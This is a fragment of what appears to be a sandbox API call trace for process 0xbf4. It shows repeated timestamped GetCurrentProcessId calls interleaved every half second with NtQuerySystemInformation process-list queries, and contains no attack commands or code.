GetCurrentProcessId () returned 0xbf4 [0270.387] GetCurrentProcessId () returned 0xbf4 [0270.387] GetCurrentProcessId () returned 0xbf4 [0270.387] GetCurrentProcessId () returned 0xbf4 [0270.387] GetCurrentProcessId () returned 0xbf4 [0270.387] GetCurrentProcessId () returned 0xbf4 [0270.387] GetCurrentProcessId () returned 0xbf4 [0270.387] GetCurrentProcessId () returned 0xbf4 [0270.387] GetCurrentProcessId () returned 0xbf4 [0270.387] GetCurrentProcessId () returned 0xbf4 [0270.387] GetCurrentProcessId () returned 0xbf4 [0270.387] GetCurrentProcessId () returned 0xbf4 [0270.387] GetCurrentProcessId () returned 0xbf4 [0270.387] GetCurrentProcessId () returned 0xbf4 [0270.387] GetCurrentProcessId () returned 0xbf4 [0270.387] GetCurrentProcessId () returned 0xbf4 [0270.387] GetCurrentProcessId () returned 0xbf4 [0270.387] GetCurrentProcessId () returned 0xbf4 [0270.387] GetCurrentProcessId () returned 0xbf4 [0270.387] GetCurrentProcessId () returned 0xbf4 [0270.387] GetCurrentProcessId () returned 0xbf4 [0270.387] GetCurrentProcessId () returned 0xbf4 [0270.387] GetCurrentProcessId () returned 0xbf4 [0270.387] GetCurrentProcessId () returned 0xbf4 [0270.387] GetCurrentProcessId () returned 0xbf4 [0270.387] GetCurrentProcessId () returned 0xbf4 [0270.387] GetCurrentProcessId () returned 0xbf4 [0270.387] GetCurrentProcessId () returned 0xbf4 [0270.387] GetCurrentProcessId () returned 0xbf4 [0270.387] GetCurrentProcessId () returned 0xbf4 [0270.387] GetCurrentProcessId () returned 0xbf4 [0270.387] GetCurrentProcessId () returned 0xbf4 [0270.387] GetCurrentProcessId () returned 0xbf4 [0270.387] GetCurrentProcessId () returned 0xbf4 [0270.387] GetCurrentProcessId () returned 0xbf4 [0270.387] GetCurrentProcessId () returned 0xbf4 [0270.388] GetCurrentProcessId () returned 0xbf4 [0270.388] GetCurrentProcessId () returned 0xbf4 [0270.388] GetCurrentProcessId () returned 0xbf4 [0270.388] GetCurrentProcessId () returned 0xbf4 [0270.388] GetCurrentProcessId () returned 0xbf4 [0270.388] GetCurrentProcessId () returned 0xbf4 [0270.388] GetCurrentProcessId () returned 0xbf4 [0270.388] GetCurrentProcessId () returned 0xbf4 [0270.388] GetCurrentProcessId () returned 0xbf4 [0270.388] GetCurrentProcessId () returned 0xbf4 [0270.388] GetCurrentProcessId () returned 0xbf4 [0270.388] GetCurrentProcessId () returned 0xbf4 [0270.388] GetCurrentProcessId () returned 0xbf4 [0270.388] GetCurrentProcessId () returned 0xbf4 [0270.388] GetCurrentProcessId () returned 0xbf4 [0270.388] GetCurrentProcessId () returned 0xbf4 [0270.388] GetCurrentProcessId () returned 0xbf4 [0270.388] GetCurrentProcessId () returned 0xbf4 [0270.388] GetCurrentProcessId () returned 0xbf4 [0270.388] GetCurrentProcessId () returned 0xbf4 [0270.388] GetCurrentProcessId () returned 0xbf4 [0270.388] GetCurrentProcessId () returned 0xbf4 [0270.388] GetCurrentProcessId () returned 0xbf4 [0270.388] GetCurrentProcessId () returned 0xbf4 [0270.388] GetCurrentProcessId () returned 0xbf4 [0270.388] GetCurrentProcessId () returned 0xbf4 [0270.388] GetCurrentProcessId () returned 0xbf4 [0270.388] GetCurrentProcessId () returned 0xbf4 [0270.388] GetCurrentProcessId () returned 0xbf4 [0270.388] GetCurrentProcessId () returned 0xbf4 [0270.388] GetCurrentProcessId () returned 0xbf4 [0270.388] GetCurrentProcessId () returned 0xbf4 [0270.388] GetCurrentProcessId () returned 0xbf4 [0270.388] GetCurrentProcessId () returned 0xbf4 [0270.388] GetCurrentProcessId () returned 0xbf4 [0270.388] GetCurrentProcessId () returned 0xbf4 [0270.388] GetCurrentProcessId () returned 0xbf4 [0270.389] GetCurrentProcessId () returned 0xbf4 [0270.389] GetCurrentProcessId () returned 0xbf4 [0270.389] GetCurrentProcessId () returned 0xbf4 [0270.389] GetCurrentProcessId () returned 0xbf4 [0270.389] GetCurrentProcessId () returned 0xbf4 [0270.389] GetCurrentProcessId () returned 0xbf4 [0270.389] GetCurrentProcessId () returned 0xbf4 [0270.389] GetCurrentProcessId () returned 0xbf4 [0270.389] GetCurrentProcessId () returned 0xbf4 [0270.389] GetCurrentProcessId () returned 0xbf4 [0270.389] GetCurrentProcessId () returned 0xbf4 [0270.389] GetCurrentProcessId () returned 0xbf4 [0270.389] GetCurrentProcessId () returned 0xbf4 [0270.389] GetCurrentProcessId () returned 0xbf4 [0270.389] GetCurrentProcessId () returned 0xbf4 [0270.389] GetCurrentProcessId () returned 0xbf4 [0270.389] GetCurrentProcessId () returned 0xbf4 [0270.389] GetCurrentProcessId () returned 0xbf4 [0270.389] GetCurrentProcessId () returned 0xbf4 [0270.389] GetCurrentProcessId () returned 0xbf4 [0270.389] GetCurrentProcessId () returned 0xbf4 [0270.894] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x1289b270, ResultLength=0x1b7bebb0*=0x1c950) returned 0x0 [0270.899] GetCurrentProcessId () returned 0xbf4 [0270.899] GetCurrentProcessId () returned 0xbf4 [0270.899] GetCurrentProcessId () returned 0xbf4 [0270.899] GetCurrentProcessId () returned 0xbf4 [0270.899] GetCurrentProcessId () returned 0xbf4 [0270.899] GetCurrentProcessId () returned 0xbf4 [0270.899] GetCurrentProcessId () returned 0xbf4 [0270.899] GetCurrentProcessId () returned 0xbf4 [0270.899] GetCurrentProcessId () returned 0xbf4 [0270.899] GetCurrentProcessId () returned 0xbf4 [0270.899] GetCurrentProcessId () returned 0xbf4 [0270.899] GetCurrentProcessId () returned 0xbf4 [0270.899] GetCurrentProcessId () returned 0xbf4 [0270.899] GetCurrentProcessId () returned 0xbf4 [0270.899] GetCurrentProcessId () returned 0xbf4 [0270.899] GetCurrentProcessId () returned 0xbf4 [0270.899] GetCurrentProcessId () returned 0xbf4 [0270.899] GetCurrentProcessId () returned 0xbf4 [0270.899] GetCurrentProcessId () returned 0xbf4 [0270.899] GetCurrentProcessId () returned 0xbf4 [0270.899] GetCurrentProcessId () returned 0xbf4 [0270.899] GetCurrentProcessId () returned 0xbf4 [0270.899] GetCurrentProcessId () returned 0xbf4 [0270.899] GetCurrentProcessId () returned 0xbf4 [0270.899] GetCurrentProcessId () returned 0xbf4 [0270.899] GetCurrentProcessId () returned 0xbf4 [0270.899] GetCurrentProcessId () returned 0xbf4 [0270.899] GetCurrentProcessId () returned 0xbf4 [0270.899] GetCurrentProcessId () returned 0xbf4 [0270.899] GetCurrentProcessId () returned 0xbf4 [0270.899] GetCurrentProcessId () returned 0xbf4 [0270.899] GetCurrentProcessId () returned 0xbf4 [0270.900] GetCurrentProcessId () returned 0xbf4 [0270.900] GetCurrentProcessId () returned 0xbf4 [0270.900] GetCurrentProcessId () returned 0xbf4 [0270.900] GetCurrentProcessId () returned 0xbf4 [0270.900] GetCurrentProcessId () returned 0xbf4 [0270.900] GetCurrentProcessId () returned 0xbf4 [0270.900] GetCurrentProcessId () returned 0xbf4 [0270.900] GetCurrentProcessId () returned 0xbf4 [0270.900] GetCurrentProcessId () returned 0xbf4 [0270.900] GetCurrentProcessId () returned 0xbf4 [0270.900] GetCurrentProcessId () returned 0xbf4 [0270.900] GetCurrentProcessId () returned 0xbf4 [0270.900] GetCurrentProcessId () returned 0xbf4 [0270.900] GetCurrentProcessId () returned 0xbf4 [0270.900] GetCurrentProcessId () returned 0xbf4 [0270.900] GetCurrentProcessId () returned 0xbf4 [0270.900] GetCurrentProcessId () returned 0xbf4 [0270.900] GetCurrentProcessId () returned 0xbf4 [0270.900] GetCurrentProcessId () returned 0xbf4 [0270.900] GetCurrentProcessId () returned 0xbf4 [0270.900] GetCurrentProcessId () returned 0xbf4 [0270.900] GetCurrentProcessId () returned 0xbf4 [0270.900] GetCurrentProcessId () returned 0xbf4 [0270.900] GetCurrentProcessId () returned 0xbf4 [0270.900] GetCurrentProcessId () returned 0xbf4 [0270.900] GetCurrentProcessId () returned 0xbf4 [0270.900] GetCurrentProcessId () returned 0xbf4 [0270.900] GetCurrentProcessId () returned 0xbf4 [0270.900] GetCurrentProcessId () returned 0xbf4 [0270.900] GetCurrentProcessId () returned 0xbf4 [0270.900] GetCurrentProcessId () returned 0xbf4 [0270.900] GetCurrentProcessId () returned 0xbf4 [0270.900] GetCurrentProcessId () returned 0xbf4 [0270.900] GetCurrentProcessId () returned 0xbf4 [0270.900] GetCurrentProcessId () returned 0xbf4 [0270.901] GetCurrentProcessId () returned 0xbf4 [0270.901] GetCurrentProcessId () returned 0xbf4 [0270.901] GetCurrentProcessId () returned 0xbf4 [0270.901] GetCurrentProcessId () returned 0xbf4 [0270.901] GetCurrentProcessId () returned 0xbf4 [0270.901] GetCurrentProcessId () returned 0xbf4 [0270.901] GetCurrentProcessId () returned 0xbf4 [0270.901] GetCurrentProcessId () returned 0xbf4 [0270.901] GetCurrentProcessId () returned 0xbf4 [0270.901] GetCurrentProcessId () returned 0xbf4 [0270.901] GetCurrentProcessId () returned 0xbf4 [0270.901] GetCurrentProcessId () returned 0xbf4 [0270.901] GetCurrentProcessId () returned 0xbf4 [0270.901] GetCurrentProcessId () returned 0xbf4 [0270.901] GetCurrentProcessId () returned 0xbf4 [0270.901] GetCurrentProcessId () returned 0xbf4 [0270.901] GetCurrentProcessId () returned 0xbf4 [0270.901] GetCurrentProcessId () returned 0xbf4 [0270.901] GetCurrentProcessId () returned 0xbf4 [0270.901] GetCurrentProcessId () returned 0xbf4 [0270.901] GetCurrentProcessId () returned 0xbf4 [0270.901] GetCurrentProcessId () returned 0xbf4 [0270.901] GetCurrentProcessId () returned 0xbf4 [0270.901] GetCurrentProcessId () returned 0xbf4 [0270.901] GetCurrentProcessId () returned 0xbf4 [0270.901] GetCurrentProcessId () returned 0xbf4 [0270.901] GetCurrentProcessId () returned 0xbf4 [0270.901] GetCurrentProcessId () returned 0xbf4 [0270.901] GetCurrentProcessId () returned 0xbf4 [0270.901] GetCurrentProcessId () returned 0xbf4 [0270.901] GetCurrentProcessId () returned 0xbf4 [0270.901] GetCurrentProcessId () returned 0xbf4 [0270.901] GetCurrentProcessId () returned 0xbf4 [0270.901] GetCurrentProcessId () returned 0xbf4 [0270.901] GetCurrentProcessId () returned 0xbf4 [0270.901] GetCurrentProcessId () returned 0xbf4 [0270.901] GetCurrentProcessId () returned 0xbf4 [0270.902] GetCurrentProcessId () returned 0xbf4 [0270.902] GetCurrentProcessId () returned 0xbf4 [0270.902] GetCurrentProcessId () returned 0xbf4 [0271.410] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x1289b270, ResultLength=0x1b7bebb0*=0x1c950) returned 0x0 [0271.418] GetCurrentProcessId () returned 0xbf4 [0271.418] GetCurrentProcessId () returned 0xbf4 [0271.418] GetCurrentProcessId () returned 0xbf4 [0271.418] GetCurrentProcessId () returned 0xbf4 [0271.418] GetCurrentProcessId () returned 0xbf4 [0271.418] GetCurrentProcessId () returned 0xbf4 [0271.418] GetCurrentProcessId () returned 0xbf4 [0271.418] GetCurrentProcessId () returned 0xbf4 [0271.418] GetCurrentProcessId () returned 0xbf4 [0271.418] GetCurrentProcessId () returned 0xbf4 [0271.418] GetCurrentProcessId () returned 0xbf4 [0271.418] GetCurrentProcessId () returned 0xbf4 [0271.418] GetCurrentProcessId () returned 0xbf4 [0271.418] GetCurrentProcessId () returned 0xbf4 [0271.418] GetCurrentProcessId () returned 0xbf4 [0271.419] GetCurrentProcessId () returned 0xbf4 [0271.419] GetCurrentProcessId () returned 0xbf4 [0271.419] GetCurrentProcessId () returned 0xbf4 [0271.419] GetCurrentProcessId () returned 0xbf4 [0271.419] GetCurrentProcessId () returned 0xbf4 [0271.419] GetCurrentProcessId () returned 0xbf4 [0271.419] GetCurrentProcessId () returned 0xbf4 [0271.419] GetCurrentProcessId () returned 0xbf4 [0271.419] GetCurrentProcessId () returned 0xbf4 [0271.419] GetCurrentProcessId () returned 0xbf4 [0271.419] GetCurrentProcessId () returned 0xbf4 [0271.419] GetCurrentProcessId () returned 0xbf4 [0271.419] GetCurrentProcessId () returned 0xbf4 [0271.419] GetCurrentProcessId () returned 0xbf4 [0271.419] GetCurrentProcessId () returned 0xbf4 [0271.419] GetCurrentProcessId () returned 0xbf4 [0271.419] GetCurrentProcessId () returned 0xbf4 [0271.419] GetCurrentProcessId () returned 0xbf4 [0271.419] GetCurrentProcessId () returned 0xbf4 [0271.419] GetCurrentProcessId () returned 0xbf4 [0271.419] GetCurrentProcessId () returned 0xbf4 [0271.419] GetCurrentProcessId () returned 0xbf4 [0271.419] GetCurrentProcessId () returned 0xbf4 [0271.419] GetCurrentProcessId () returned 0xbf4 [0271.419] GetCurrentProcessId () returned 0xbf4 [0271.419] GetCurrentProcessId () returned 0xbf4 [0271.419] GetCurrentProcessId () returned 0xbf4 [0271.419] GetCurrentProcessId () returned 0xbf4 [0271.420] GetCurrentProcessId () returned 0xbf4 [0271.420] GetCurrentProcessId () returned 0xbf4 [0271.420] GetCurrentProcessId () returned 0xbf4 [0271.420] GetCurrentProcessId () returned 0xbf4 [0271.420] GetCurrentProcessId () returned 0xbf4 [0271.420] GetCurrentProcessId () returned 0xbf4 [0271.420] GetCurrentProcessId () returned 0xbf4 [0271.420] GetCurrentProcessId () returned 0xbf4 [0271.420] GetCurrentProcessId () returned 0xbf4 [0271.420] GetCurrentProcessId () returned 0xbf4 [0271.420] GetCurrentProcessId () returned 0xbf4 [0271.420] GetCurrentProcessId () returned 0xbf4 [0271.420] GetCurrentProcessId () returned 0xbf4 [0271.420] GetCurrentProcessId () returned 0xbf4 [0271.420] GetCurrentProcessId () returned 0xbf4 [0271.420] GetCurrentProcessId () returned 0xbf4 [0271.420] GetCurrentProcessId () returned 0xbf4 [0271.420] GetCurrentProcessId () returned 0xbf4 [0271.420] GetCurrentProcessId () returned 0xbf4 [0271.420] GetCurrentProcessId () returned 0xbf4 [0271.420] GetCurrentProcessId () returned 0xbf4 [0271.420] GetCurrentProcessId () returned 0xbf4 [0271.420] GetCurrentProcessId () returned 0xbf4 [0271.420] GetCurrentProcessId () returned 0xbf4 [0271.420] GetCurrentProcessId () returned 0xbf4 [0271.420] GetCurrentProcessId () returned 0xbf4 [0271.420] GetCurrentProcessId () returned 0xbf4 [0271.420] GetCurrentProcessId () returned 0xbf4 [0271.421] GetCurrentProcessId () returned 0xbf4 [0271.421] GetCurrentProcessId () returned 0xbf4 [0271.421] GetCurrentProcessId () returned 0xbf4 [0271.421] GetCurrentProcessId () returned 0xbf4 [0271.421] GetCurrentProcessId () returned 0xbf4 [0271.421] GetCurrentProcessId () returned 0xbf4 [0271.421] GetCurrentProcessId () returned 0xbf4 [0271.421] GetCurrentProcessId () returned 0xbf4 [0271.421] GetCurrentProcessId () returned 0xbf4 [0271.421] GetCurrentProcessId () returned 0xbf4 [0271.421] GetCurrentProcessId () returned 0xbf4 [0271.421] GetCurrentProcessId () returned 0xbf4 [0271.421] GetCurrentProcessId () returned 0xbf4 [0271.421] GetCurrentProcessId () returned 0xbf4 [0271.421] GetCurrentProcessId () returned 0xbf4 [0271.421] GetCurrentProcessId () returned 0xbf4 [0271.421] GetCurrentProcessId () returned 0xbf4 [0271.421] GetCurrentProcessId () returned 0xbf4 [0271.421] GetCurrentProcessId () returned 0xbf4 [0271.421] GetCurrentProcessId () returned 0xbf4 [0271.421] GetCurrentProcessId () returned 0xbf4 [0271.421] GetCurrentProcessId () returned 0xbf4 [0271.421] GetCurrentProcessId () returned 0xbf4 [0271.421] GetCurrentProcessId () returned 0xbf4 [0271.421] GetCurrentProcessId () returned 0xbf4 [0271.421] GetCurrentProcessId () returned 0xbf4 [0271.421] GetCurrentProcessId () returned 0xbf4 [0271.422] GetCurrentProcessId () returned 0xbf4 [0271.422] GetCurrentProcessId () returned 0xbf4 [0271.422] GetCurrentProcessId () returned 0xbf4 [0271.422] GetCurrentProcessId () returned 0xbf4 [0271.422] GetCurrentProcessId () returned 0xbf4 [0271.422] GetCurrentProcessId () returned 0xbf4 [0271.422] GetCurrentProcessId () returned 0xbf4 [0271.422] GetCurrentProcessId () returned 0xbf4 [0271.422] GetCurrentProcessId () returned 0xbf4 [0271.926] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x1289b270, ResultLength=0x1b7bebb0*=0x1c950) returned 0x0 [0271.934] GetCurrentProcessId () returned 0xbf4 [0271.934] GetCurrentProcessId () returned 0xbf4 [0271.934] GetCurrentProcessId () returned 0xbf4 [0271.934] GetCurrentProcessId () returned 0xbf4 [0271.934] GetCurrentProcessId () returned 0xbf4 [0271.934] GetCurrentProcessId () returned 0xbf4 [0271.934] GetCurrentProcessId () returned 0xbf4 [0271.934] GetCurrentProcessId () returned 0xbf4 [0271.934] GetCurrentProcessId () returned 0xbf4 [0271.934] GetCurrentProcessId () returned 0xbf4 [0271.934] GetCurrentProcessId () returned 0xbf4 [0271.934] GetCurrentProcessId () returned 0xbf4 [0271.934] GetCurrentProcessId () returned 0xbf4 [0271.934] GetCurrentProcessId () returned 0xbf4 [0271.934] GetCurrentProcessId () returned 0xbf4 [0271.934] GetCurrentProcessId () returned 0xbf4 [0271.934] GetCurrentProcessId () returned 0xbf4 [0271.934] GetCurrentProcessId () returned 0xbf4 [0271.934] GetCurrentProcessId () returned 0xbf4 [0271.934] GetCurrentProcessId () returned 0xbf4 [0271.934] GetCurrentProcessId () returned 0xbf4 [0271.934] GetCurrentProcessId () returned 0xbf4 [0271.934] GetCurrentProcessId () returned 0xbf4 [0271.934] GetCurrentProcessId () returned 0xbf4 [0271.934] GetCurrentProcessId () returned 0xbf4 [0271.935] GetCurrentProcessId () returned 0xbf4 [0271.935] GetCurrentProcessId () returned 0xbf4 [0271.935] GetCurrentProcessId () returned 0xbf4 [0271.935] GetCurrentProcessId () returned 0xbf4 [0271.935] GetCurrentProcessId () returned 0xbf4 [0271.935] GetCurrentProcessId () returned 0xbf4 [0271.935] GetCurrentProcessId () returned 0xbf4 [0271.935] GetCurrentProcessId () returned 0xbf4 [0271.935] GetCurrentProcessId () returned 0xbf4 [0271.935] GetCurrentProcessId () returned 0xbf4 [0271.935] GetCurrentProcessId () returned 0xbf4 [0271.935] GetCurrentProcessId () returned 0xbf4 [0271.935] GetCurrentProcessId () returned 0xbf4 [0271.935] GetCurrentProcessId () returned 0xbf4 [0271.935] GetCurrentProcessId () returned 0xbf4 [0271.935] GetCurrentProcessId () returned 0xbf4 [0271.935] GetCurrentProcessId () returned 0xbf4 [0271.935] GetCurrentProcessId () returned 0xbf4 [0271.935] GetCurrentProcessId () returned 0xbf4 [0271.935] GetCurrentProcessId () returned 0xbf4 [0271.935] GetCurrentProcessId () returned 0xbf4 [0271.935] GetCurrentProcessId () returned 0xbf4 [0271.935] GetCurrentProcessId () returned 0xbf4 [0271.935] GetCurrentProcessId () returned 0xbf4 [0271.935] GetCurrentProcessId () returned 0xbf4 [0271.935] GetCurrentProcessId () returned 0xbf4 [0271.935] GetCurrentProcessId () returned 0xbf4 [0271.935] GetCurrentProcessId () returned 0xbf4 [0271.936] GetCurrentProcessId () returned 0xbf4 [0271.936] GetCurrentProcessId () returned 0xbf4 [0271.936] GetCurrentProcessId () returned 0xbf4 [0271.936] GetCurrentProcessId () returned 0xbf4 [0271.936] GetCurrentProcessId () returned 0xbf4 [0271.936] GetCurrentProcessId () returned 0xbf4 [0271.936] GetCurrentProcessId () returned 0xbf4 [0271.936] GetCurrentProcessId () returned 0xbf4 [0271.936] GetCurrentProcessId () returned 0xbf4 [0271.936] GetCurrentProcessId () returned 0xbf4 [0271.936] GetCurrentProcessId () returned 0xbf4 [0271.936] GetCurrentProcessId () returned 0xbf4 [0271.936] GetCurrentProcessId () returned 0xbf4 [0271.936] GetCurrentProcessId () returned 0xbf4 [0271.936] GetCurrentProcessId () returned 0xbf4 [0271.936] GetCurrentProcessId () returned 0xbf4 [0271.936] GetCurrentProcessId () returned 0xbf4 [0271.936] GetCurrentProcessId () returned 0xbf4 [0271.936] GetCurrentProcessId () returned 0xbf4 [0271.936] GetCurrentProcessId () returned 0xbf4 [0271.936] GetCurrentProcessId () returned 0xbf4 [0271.936] GetCurrentProcessId () returned 0xbf4 [0271.936] GetCurrentProcessId () returned 0xbf4 [0271.936] GetCurrentProcessId () returned 0xbf4 [0271.936] GetCurrentProcessId () returned 0xbf4 [0271.936] GetCurrentProcessId () returned 0xbf4 [0271.936] GetCurrentProcessId () returned 0xbf4 [0271.936] GetCurrentProcessId () returned 0xbf4 [0271.937] GetCurrentProcessId () returned 0xbf4 [0271.937] GetCurrentProcessId () returned 0xbf4 [0271.937] GetCurrentProcessId () returned 0xbf4 [0271.937] GetCurrentProcessId () returned 0xbf4 [0271.937] GetCurrentProcessId () returned 0xbf4 [0271.937] GetCurrentProcessId () returned 0xbf4 [0271.937] GetCurrentProcessId () returned 0xbf4 [0271.937] GetCurrentProcessId () returned 0xbf4 [0271.937] GetCurrentProcessId () returned 0xbf4 [0271.937] GetCurrentProcessId () returned 0xbf4 [0271.937] GetCurrentProcessId () returned 0xbf4 [0271.937] GetCurrentProcessId () returned 0xbf4 [0271.937] GetCurrentProcessId () returned 0xbf4 [0271.937] GetCurrentProcessId () returned 0xbf4 [0271.937] GetCurrentProcessId () returned 0xbf4 [0271.937] GetCurrentProcessId () returned 0xbf4 [0271.937] GetCurrentProcessId () returned 0xbf4 [0271.937] GetCurrentProcessId () returned 0xbf4 [0271.937] GetCurrentProcessId () returned 0xbf4 [0271.937] GetCurrentProcessId () returned 0xbf4 [0271.937] GetCurrentProcessId () returned 0xbf4 [0271.937] GetCurrentProcessId () returned 0xbf4 [0271.937] GetCurrentProcessId () returned 0xbf4 [0271.937] GetCurrentProcessId () returned 0xbf4 [0271.937] GetCurrentProcessId () returned 0xbf4 [0271.937] GetCurrentProcessId () returned 0xbf4 [0272.473] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x1289b270, ResultLength=0x1b7bebb0*=0x1c950) returned 0x0 [0272.476] GetCurrentProcessId () returned 0xbf4 [0272.476] GetCurrentProcessId () returned 0xbf4 [0272.476] GetCurrentProcessId () returned 0xbf4 [0272.476] GetCurrentProcessId () returned 0xbf4 [0272.476] GetCurrentProcessId () returned 0xbf4 [0272.476] GetCurrentProcessId () returned 0xbf4 [0272.477] GetCurrentProcessId () returned 0xbf4 [0272.477] GetCurrentProcessId () returned 0xbf4 [0272.477] GetCurrentProcessId () returned 0xbf4 [0272.477] GetCurrentProcessId () returned 0xbf4 [0272.477] GetCurrentProcessId () returned 0xbf4 [0272.477] GetCurrentProcessId () returned 0xbf4 [0272.477] GetCurrentProcessId () returned 0xbf4 [0272.477] GetCurrentProcessId () returned 0xbf4 [0272.477] GetCurrentProcessId () returned 0xbf4 [0272.477] GetCurrentProcessId () returned 0xbf4 [0272.477] GetCurrentProcessId () returned 0xbf4 [0272.477] GetCurrentProcessId () returned 0xbf4 [0272.477] GetCurrentProcessId () returned 0xbf4 [0272.477] GetCurrentProcessId () returned 0xbf4 [0272.477] GetCurrentProcessId () returned 0xbf4 [0272.477] GetCurrentProcessId () returned 0xbf4 [0272.477] GetCurrentProcessId () returned 0xbf4 [0272.477] GetCurrentProcessId () returned 0xbf4 [0272.477] GetCurrentProcessId () returned 0xbf4 [0272.477] GetCurrentProcessId () returned 0xbf4 [0272.477] GetCurrentProcessId () returned 0xbf4 [0272.477] GetCurrentProcessId () returned 0xbf4 [0272.477] GetCurrentProcessId () returned 0xbf4 [0272.477] GetCurrentProcessId () returned 0xbf4 [0272.477] GetCurrentProcessId () returned 0xbf4 [0272.477] GetCurrentProcessId () returned 0xbf4 [0272.477] GetCurrentProcessId () returned 0xbf4 [0272.477] GetCurrentProcessId () returned 0xbf4 [0272.477] GetCurrentProcessId () returned 0xbf4 [0272.478] GetCurrentProcessId () returned 0xbf4 [0272.478] GetCurrentProcessId () returned 0xbf4 [0272.478] GetCurrentProcessId () returned 0xbf4 [0272.478] GetCurrentProcessId () returned 0xbf4 [0272.478] GetCurrentProcessId () returned 0xbf4 [0272.478] GetCurrentProcessId () returned 0xbf4 [0272.478] GetCurrentProcessId () returned 0xbf4 [0272.478] GetCurrentProcessId () returned 0xbf4 [0272.478] GetCurrentProcessId () returned 0xbf4 [0272.478] GetCurrentProcessId () returned 0xbf4 [0272.478] GetCurrentProcessId () returned 0xbf4 [0272.478] GetCurrentProcessId () returned 0xbf4 [0272.478] GetCurrentProcessId () returned 0xbf4 [0272.478] GetCurrentProcessId () returned 0xbf4 [0272.478] GetCurrentProcessId () returned 0xbf4 [0272.478] GetCurrentProcessId () returned 0xbf4 [0272.478] GetCurrentProcessId () returned 0xbf4 [0272.478] GetCurrentProcessId () returned 0xbf4 [0272.478] GetCurrentProcessId () returned 0xbf4 [0272.478] GetCurrentProcessId () returned 0xbf4 [0272.478] GetCurrentProcessId () returned 0xbf4 [0272.478] GetCurrentProcessId () returned 0xbf4 [0272.478] GetCurrentProcessId () returned 0xbf4 [0272.478] GetCurrentProcessId () returned 0xbf4 [0272.478] GetCurrentProcessId () returned 0xbf4 [0272.478] GetCurrentProcessId () returned 0xbf4 [0272.478] GetCurrentProcessId () returned 0xbf4 [0272.479] GetCurrentProcessId () returned 0xbf4 [0272.479] GetCurrentProcessId () returned 0xbf4 [0272.479] GetCurrentProcessId () returned 0xbf4 [0272.479] GetCurrentProcessId () returned 0xbf4 [0272.479] GetCurrentProcessId () returned 0xbf4 [0272.479] GetCurrentProcessId () returned 0xbf4 [0272.479] GetCurrentProcessId () returned 0xbf4 [0272.479] GetCurrentProcessId () returned 0xbf4 [0272.479] GetCurrentProcessId () returned 0xbf4 [0272.479] GetCurrentProcessId () returned 0xbf4 [0272.479] GetCurrentProcessId () returned 0xbf4 [0272.479] GetCurrentProcessId () returned 0xbf4 [0272.479] GetCurrentProcessId () returned 0xbf4 [0272.479] GetCurrentProcessId () returned 0xbf4 [0272.479] GetCurrentProcessId () returned 0xbf4 [0272.479] GetCurrentProcessId () returned 0xbf4 [0272.479] GetCurrentProcessId () returned 0xbf4 [0272.479] GetCurrentProcessId () returned 0xbf4 [0272.479] GetCurrentProcessId () returned 0xbf4 [0272.479] GetCurrentProcessId () returned 0xbf4 [0272.479] GetCurrentProcessId () returned 0xbf4 [0272.479] GetCurrentProcessId () returned 0xbf4 [0272.479] GetCurrentProcessId () returned 0xbf4 [0272.479] GetCurrentProcessId () returned 0xbf4 [0272.479] GetCurrentProcessId () returned 0xbf4 [0272.479] GetCurrentProcessId () returned 0xbf4 [0272.479] GetCurrentProcessId () returned 0xbf4 [0272.479] GetCurrentProcessId () returned 0xbf4 [0272.479] GetCurrentProcessId () returned 0xbf4 [0272.480] GetCurrentProcessId () returned 0xbf4 [0272.480] GetCurrentProcessId () returned 0xbf4 [0272.480] GetCurrentProcessId () returned 0xbf4 [0272.480] GetCurrentProcessId () returned 0xbf4 [0272.480] GetCurrentProcessId () returned 0xbf4 [0272.480] GetCurrentProcessId () returned 0xbf4 [0272.480] GetCurrentProcessId () returned 0xbf4 [0272.480] GetCurrentProcessId () returned 0xbf4 [0272.480] GetCurrentProcessId () returned 0xbf4 [0272.480] GetCurrentProcessId () returned 0xbf4 [0272.480] GetCurrentProcessId () returned 0xbf4 [0272.480] GetCurrentProcessId () returned 0xbf4 [0272.480] GetCurrentProcessId () returned 0xbf4 [0272.480] GetCurrentProcessId () returned 0xbf4 [0272.480] GetCurrentProcessId () returned 0xbf4 [0272.480] GetCurrentProcessId () returned 0xbf4 [0272.985] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x1289b270, ResultLength=0x1b7bebb0*=0x1c950) returned 0x0 [0272.992] GetCurrentProcessId () returned 0xbf4 [0272.992] GetCurrentProcessId () returned 0xbf4 [0272.992] GetCurrentProcessId () returned 0xbf4 [0272.992] GetCurrentProcessId () returned 0xbf4 [0272.992] GetCurrentProcessId () returned 0xbf4 [0272.992] GetCurrentProcessId () returned 0xbf4 [0272.992] GetCurrentProcessId () returned 0xbf4 [0272.992] GetCurrentProcessId () returned 0xbf4 [0272.992] GetCurrentProcessId () returned 0xbf4 [0272.992] GetCurrentProcessId () returned 0xbf4 [0272.992] GetCurrentProcessId () returned 0xbf4 [0272.992] GetCurrentProcessId () returned 0xbf4 [0272.992] GetCurrentProcessId () returned 0xbf4 [0272.992] GetCurrentProcessId () returned 0xbf4 [0272.992] GetCurrentProcessId () returned 0xbf4 [0272.992] GetCurrentProcessId () returned 0xbf4 [0272.992] GetCurrentProcessId () returned 0xbf4 [0272.992] GetCurrentProcessId () returned 0xbf4 [0272.992] GetCurrentProcessId () returned 0xbf4 [0272.992] GetCurrentProcessId () returned 0xbf4 [0272.992] GetCurrentProcessId () returned 0xbf4 [0272.992] GetCurrentProcessId () returned 0xbf4 [0272.993] GetCurrentProcessId () returned 0xbf4 [0272.993] GetCurrentProcessId () returned 0xbf4 [0272.993] GetCurrentProcessId () returned 0xbf4 [0272.993] GetCurrentProcessId () returned 0xbf4 [0272.993] GetCurrentProcessId () returned 0xbf4 [0272.993] GetCurrentProcessId () returned 0xbf4 [0272.993] GetCurrentProcessId () returned 0xbf4 [0272.993] GetCurrentProcessId () returned 0xbf4 [0272.993] GetCurrentProcessId () returned 0xbf4 [0272.993] GetCurrentProcessId () returned 0xbf4 [0272.993] 